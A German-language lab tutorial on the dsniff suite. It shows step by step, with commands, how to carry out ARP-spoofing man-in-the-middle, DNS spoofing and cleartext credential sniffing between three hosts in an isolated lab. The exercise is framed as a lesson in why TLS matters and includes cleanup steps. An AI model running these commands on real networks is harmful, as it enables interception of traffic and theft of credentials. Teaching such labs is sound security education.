Dsniff
dsniff ist eine Sammlung klassischer Netzwerk-Audit-Tools (Dug Song, ~2000). Produktiv relevant sind heute nur noch die Layer-2-Werkzeuge arpspoof und dnsspoof; die Sniffer (dsniff, urlsnarf) dienen als Lehrstück für unverschlüsselte Protokolle.
Diese Übung zeigt das Kern-Primitiv: ARP-Spoofing als Mensch-in-der-Mitte zwischen Opfer und Gateway. Sie läuft im kontrollierten Lab verlässlich, weil dort weder Dynamic ARP Inspection noch Port-Security aktiv ist.
Lab-Aufbau
Drei Hosts im selben Segment (VirtualBox Internes Netzwerk oder Bridged).
- Gateway / Router
- 10.0.10.1
- Angreifer (Kali)
- 10.0.10.101
- Opfer (Debian / Windows)
- 10.0.10.102
Interface im Folgenden als eth0 – ggf. an die eigene VM anpassen (ip a).
Schritt 1: IP-Forwarding aktivieren
- Ohne Forwarding wird der Opfer-Traffic verworfen (Blackhole) – das Opfer verliert sofort die Verbindung und merkt den Angriff. Forwarding leitet die Pakete transparent weiter
sysctl -w net.ipv4.ip_forward=1
Kontrolle:
sysctl net.ipv4.ip_forward net.ipv4.ip_forward = 1
Schritt 2: arpspoof starten
Beide Richtungen müssen vergiftet werden: dem Opfer wird vorgegaukelt, der Angreifer sei das Gateway – und dem Gateway, der Angreifer sei das Opfer. Zwei Terminals, je ein Prozess:
- Terminal 1 – Opfer vergiften (Angreifer = Gateway)
arpspoof -i eth0 -t 10.0.10.102 10.0.10.1
- Terminal 2 – Gateway vergiften (Angreifer = Opfer)
arpspoof -i eth0 -t 10.0.10.1 10.0.10.102
Alternativ als Einzeiler mit -r (bidirektional):
arpspoof -i eth0 -t 10.0.10.102 -r 10.0.10.1
Schritt 3: MITM verifizieren
- Am Opfer die ARP-Tabelle prüfen – die MAC des Gateways muss jetzt die MAC des Angreifers sein
arp -a(Linux) bzw.arp -a(Windows)
- Am Angreifer mitschneiden – der gesamte Opfer-Traffic läuft nun durch
tcpdump -i eth0 -n host 10.0.10.102
oder grafisch mit Wireshark, Display-Filter:
ip.addr == 10.0.10.102
Schritt 4 (Erweiterung): dnsspoof
Aus der MITM-Position lassen sich DNS-Antworten fälschen. Hosts-Datei für die zu spoofenden Namen anlegen:
# /root/dnsspoof.hosts 10.0.10.101 www.beispiel.int
- dnsspoof gegen die Anfragen des Opfers starten
dnsspoof -i eth0 -f /root/dnsspoof.hosts
Auflösungen des Opfers auf www.beispiel.int zeigen jetzt auf den Angreifer.
Schritt 5 (Pointe): Cleartext-Sniffer
Gegen einen absichtlich unverschlüsselten Dienst im Lab (HTTP-Login ohne TLS, FTP, Telnet) – nicht als heutige Methode, sondern als Beweis, warum Cleartext gefährlich ist:
- HTTP-Requests des Opfers mitlesen
urlsnarf -i eth0
- Klartext-Credentials extrahieren
dsniff -i eth0
Das Opfer meldet sich am unverschlüsselten Dienst an → die Zugangsdaten erscheinen im Klartext beim Angreifer. Das ist die didaktische Auszahlung: deshalb TLS.
Aufräumen
- arpspoof mit Strg-C sauber beenden – es sendet dann korrigierende ARP-Replies und stellt den Originalzustand wieder her
Strg-C
Nicht hart killen (kill -9), sonst bleibt das Opfer mit falscher ARP-Tabelle zurück und verliert kurzzeitig die Verbindung.
- IP-Forwarding zurücksetzen
sysctl -w net.ipv4.ip_forward=0
Bewusst nicht Teil dieser Übung
Diese Tools funktionieren im Lab nicht zuverlässig und sind daher ausgeklammert:
- macof (CAM-Table-Flooding)
- Effekt hängt vom Switch ab. Virtuelle Switches und moderne Hardware-Switches gehen nicht fail-open → kein reproduzierbarer Mitschnitt. Nur als Konzept erwähnen.
- Echte Switches mit Dynamic ARP Inspection (DAI)
- blocken arpspoof komplett. Deshalb läuft die Übung im kontrollierten Segment ohne DAI/Port-Security.
- sshmitm / webmitm
- aktive MITM gegen SSH/HTTPS über schwache ad-hoc-PKI. Scheitern an Host-Key-Checking, HSTS und Cert-Pinning. Nur als historische Fußnote.
Einordnung
arpspoof, dnsspoof und macof sind übertragbare Primitive – sie tauchen in jedem MITM-Werkzeug (Ettercap, Bettercap) wieder auf. Die Sniffer der dsniff-Suite sind Lehrstück, kein Produktiv-Tooling. Wer das Primitiv hier isoliert verstanden hat, durchschaut die All-in-one-Tools danach sofort.